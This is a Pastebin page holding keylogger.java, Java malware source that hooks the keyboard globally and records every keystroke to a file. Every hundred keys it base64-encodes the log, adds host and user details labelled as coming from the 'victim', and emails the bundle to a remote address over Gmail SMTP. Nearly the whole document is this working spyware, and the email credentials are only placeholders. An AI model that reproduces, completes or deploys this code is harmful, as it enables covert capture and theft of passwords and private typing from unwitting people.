dev017

keylogger.java

Aug 9th, 2023
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 7.54 KB | None | 0 0
  1. import java.io.File;
  2. import java.io.FileWriter;
  3. import java.io.IOException;
  4. import java.util.Base64;
  5. import java.util.UUID;
  6. import java.util.logging.Level;
  7. import java.util.logging.Logger;
  8. import javax.swing.JFrame;
  9. import javax.swing.JOptionPane;
  10. import org.jnativehook.GlobalScreen;
  11. import org.jnativehook.NativeHookException;
  12. import org.jnativehook.keyboard.NativeKeyEvent;
  13. import org.jnativehook.keyboard.NativeKeyListener;
  14.  
  15. public class Keylogger implements NativeKeyListener {
  16.  
  17.     private static final String OUTPUT_FILE = "output.txt";
  18.     private static final String SENDER_EMAIL = "[email protected]";
  19.     private static final String RECEIVER_EMAIL = "[email protected]";
  20.     private static final String PASSWORD = "your_password";
  21.     private static final String MARKER = "AUNIQUEMARKER";
  22.  
  23.     private int points = 0;
  24.  
  25.     public static void main(String[] args) {
  26.         try {
  27.             GlobalScreen.registerNativeHook();
  28.         } catch (NativeHookException ex) {
  29.             Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  30.             System.exit(1);
  31.         }
  32.  
  33.         GlobalScreen.addNativeKeyListener(new Keylogger());
  34.  
  35.         JFrame frame = new JFrame();
  36.         frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  37.         frame.setVisible(false);
  38.  
  39.         try {
  40.             FileWriter fileWriter = new FileWriter(OUTPUT_FILE);
  41.             fileWriter.close();
  42.         } catch (IOException ex) {
  43.             Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  44.         }
  45.  
  46.         System.out.println("Running...");
  47.     }
  48.  
  49.     @Override
  50.     public void nativeKeyPressed(NativeKeyEvent e) {
  51.         points++;
  52.         System.out.println(points);
  53.  
  54.         if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
  55.             File outputFile = new File(OUTPUT_FILE);
  56.             if (outputFile.exists()) {
  57.                 outputFile.delete();
  58.             }
  59.             System.exit(0);
  60.         }
  61.  
  62.         if (e.getKeyCode() != NativeKeyEvent.VC_UNDEFINED && e.getKeyCode() != NativeKeyEvent.VC_BACKSPACE) {
  63.             try {
  64.                 FileWriter fileWriter = new FileWriter(OUTPUT_FILE, true);
  65.                 String keylogs = NativeKeyEvent.getKeyText(e.getKeyCode());
  66.                 if (e.getKeyCode() == NativeKeyEvent.VC_ENTER) {
  67.                     keylogs = "\n";
  68.                 }
  69.                 if (e.getKeyCode() == NativeKeyEvent.VC_SPACE) {
  70.                     keylogs = " ";
  71.                 }
  72.                 fileWriter.write(keylogs);
  73.                 fileWriter.close();
  74.             } catch (IOException ex) {
  75.                 Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  76.             }
  77.         }
  78.  
  79.         if (points == 100) {
  80.             points = 0;
  81.             File outputFile = new File(OUTPUT_FILE);
  82.             if (outputFile.exists()) {
  83.                 try {
  84.                     byte[] fileContent = java.nio.file.Files.readAllBytes(outputFile.toPath());
  85.                     String encodedContent = Base64.getEncoder().encodeToString(fileContent);
  86.  
  87.                     String body = String.format("New stuff info from victim\n"
  88.                             + "===========================\n"
  89.                             + "Name: %s\n"
  90.                             + "FQDN: %s\n"
  91.                             + "System Platform: %s\n"
  92.                             + "Machine: %s\n"
  93.                             + "Node: %s\n"
  94.                             + "Platform: %s\n"
  95.                             + "Processor: %s\n"
  96.                             + "System OS: %s\n"
  97.                             + "Release: %s\n"
  98.                             + "Version: %s\n",
  99.                             java.net.InetAddress.getLocalHost().getHostName(),
  100.                             java.net.InetAddress.getLocalHost().getCanonicalHostName(),
  101.                             System.getProperty("os.name"),
  102.                             System.getProperty("os.arch"),
  103.                             System.getProperty("os.version"),
  104.                             System.getProperty("user.name"),
  105.                             System.getProperty("java.version"),
  106.                             System.getProperty("java.vendor"),
  107.                             System.getProperty("java.home"));
  108.  
  109.                     String part1 = String.format("From: Victim <%s>\n"
  110.                             + "To: Filip <%s>\n"
  111.                             + "Subject: New Info From Keylogger\n"
  112.                             + "MIME-Version: 1.0\n"
  113.                             + "Content-Type: multipart/mixed; boundary=%s\n"
  114.                             + "--%s\n",
  115.                             SENDER_EMAIL,
  116.                             RECEIVER_EMAIL,
  117.                             MARKER,
  118.                             MARKER);
  119.  
  120.                     String part2 = String.format("Content-Type: text/plain\n"
  121.                             + "Content-Transfer-Encoding:8bit\n"
  122.                             + "%s\n"
  123.                             + "--%s\n",
  124.                             body,
  125.                             MARKER);
  126.  
  127.                     String part3 = String.format("Content-Type: multipart/mixed; name=\"%s\"\n"
  128.                             + "Content-Transfer-Encoding:base64\n"
  129.                             + "Content-Disposition: attachment; filename=%s\n"
  130.                             + "%s\n"
  131.                             + "--%s--\n",
  132.                             outputFile.getName(),
  133.                             outputFile.getName(),
  134.                             encodedContent,
  135.                             MARKER);
  136.  
  137.                     String message = part1 + part2 + part3;
  138.  
  139.                     javax.mail.Session session = javax.mail.Session.getInstance(System.getProperties(), null);
  140.                     try {
  141.                         javax.mail.internet.MimeMessage mimeMessage = new javax.mail.internet.MimeMessage(session);
  142.                         mimeMessage.setFrom(new javax.mail.internet.InternetAddress(SENDER_EMAIL));
  143.                         mimeMessage.setRecipient(javax.mail.Message.RecipientType.TO, new javax.mail.internet.InternetAddress(RECEIVER_EMAIL));
  144.                         mimeMessage.setSubject("New Info From Keylogger");
  145.                         mimeMessage.setContent(message, "text/plain");
  146.  
  147.                         javax.mail.Transport transport = session.getTransport("smtp");
  148.                         transport.connect("smtp.gmail.com", SENDER_EMAIL, PASSWORD);
  149.                         transport.sendMessage(mimeMessage, mimeMessage.getAllRecipients());
  150.                         transport.close();
  151.  
  152.                         System.out.println("Success");
  153.                         outputFile.delete();
  154.                         try {
  155.                             FileWriter fileWriter = new FileWriter(OUTPUT_FILE);
  156.                             fileWriter.close();
  157.                         } catch (IOException ex) {
  158.                             Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  159.                         }
  160.                     } catch (javax.mail.MessagingException ex) {
  161.                         Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  162.                     }
  163.                 } catch (IOException ex) {
  164.                     Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  165.                 }
  166.             }
  167.         }
  168.     }
  169.  
  170.     @Override
  171.     public void nativeKeyReleased(NativeKeyEvent e) {
  172.     }
  173.  
  174.     @Override
  175.     public void nativeKeyTyped(NativeKeyEvent e) {
  176.     }
  177. }
Add Comment
Please, Sign In to add comment